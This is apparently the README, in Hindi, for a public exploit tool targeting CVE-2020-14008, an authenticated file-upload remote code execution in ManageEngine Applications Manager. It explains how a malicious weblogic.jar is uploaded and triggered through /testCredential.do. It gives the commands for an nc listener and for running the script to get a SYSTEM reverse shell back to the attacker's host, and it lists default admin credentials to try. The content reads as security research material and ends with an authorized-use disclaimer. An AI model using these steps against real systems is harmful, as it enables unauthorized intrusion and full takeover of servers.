0x0d3ad/cve-2020-14008CVE-2020-14008 - ManageEngine Applications Manager RCE
प्रमाणित दूरस्थ कोड निष्पादन Zoho ManageEngine Applications Manager में मनमानी फ़ाइल अपलोड के माध्यम से (संस्करण <= 14720)।
| विवरण | मान |
|---|
| CVE | CVE-2020-14008 |
| CVSS | 7.2 (उच्च) |
| प्रकार | प्रमाणित RCE / मनमानी फ़ाइल अपलोड |
| उत्पाद | Zoho ManageEngine Applications Manager |
| प्रभावित | संस्करण 14720 और नीचे |
| आवश्यकता | मान्य व्यवस्थापक क्रेडेंशियल |
| परिणाम | SYSTEM-स्तरीय रिवर्स शेल |
यह एक्सप्लॉइट Weblogic मॉनिटर क्रेडेंशियल परीक्षण सुविधा का दुरुपयोग करता है। एक प्रमाणित व्यवस्थापक अपेक्षित Weblogic लाइब्रेरी पथ पर एक दुर्भावनापूर्ण weblogic.jar फ़ाइल अपलोड करता है। जब क्रेडेंशियल परीक्षण ट्रिगर होता है, ManageEngine JarLoader.loadClass() और newInstance() के माध्यम से अपलोड किए गए JAR से weblogic.jndi.Environment लोड करता है, जिससे मनमाना जावा कोड निष्पादित होता है।
javac और jar PATH पर)nc (netcat) रिवर्स शेल पकड़ने के लिएpip3 install requests urllib3 lxml
nc -lvnp 1337
python3 cve-2020-14008.py <URL> <USERNAME> <PASSWORD> <LHOST> <LPORT>
# मूल
python3 cve-2020-14008.py https://192.168.100.2:8443 admin admin 192.168.100.3 1337
weblogic.jndi.Environment) जिसमें रिवर्स शेल हो, weblogic.jar में संकलित करेंclasses/weblogic/version8/ पर अपलोड करें (विकल्प: इसे स्थानांतरित करने के लिए एक निर्धारित कार्य बनाएँ)/testCredential.do पर आमंत्रित करें, जो दुर्भावनापूर्ण क्लास को लोड और इंस्टैंशिएट करता है| उपयोगकर्ता नाम | पासवर्ड |
|---|---|
| admin | admin |
| admin | password |
| administrator | administrator |
| guest | guest |
| त्रुटि | समाधान |
|---|---|
release version 7 not supported | Java 21+ ने Java 7 लक्ष्य हटा दिया। स्क्रिप्ट --release 8 का उपयोग करती है |
FileNotFoundError: weblogic.jar | JAR संकलन विफल रहा। javac और jar PATH पर हैं इसकी पुष्टि करें |
| No valid response from used session | अमान्य क्रेडेंशियल |
| Actionname not found | कार्य निर्माण विफल, व्यवस्थापक अनुमतियाँ जाँचें |
यह उपकरण केवल अधिकृत प्रवेश परीक्षण और सुरक्षा अनुसंधान के लिए प्रदान किया गया है। ऐसी प्रणालियों के विरुद्ध अनधिकृत उपयोग जिनके आप स्वामी नहीं हैं या जिनका परीक्षण करने की अनुमति नहीं है, अवैध है।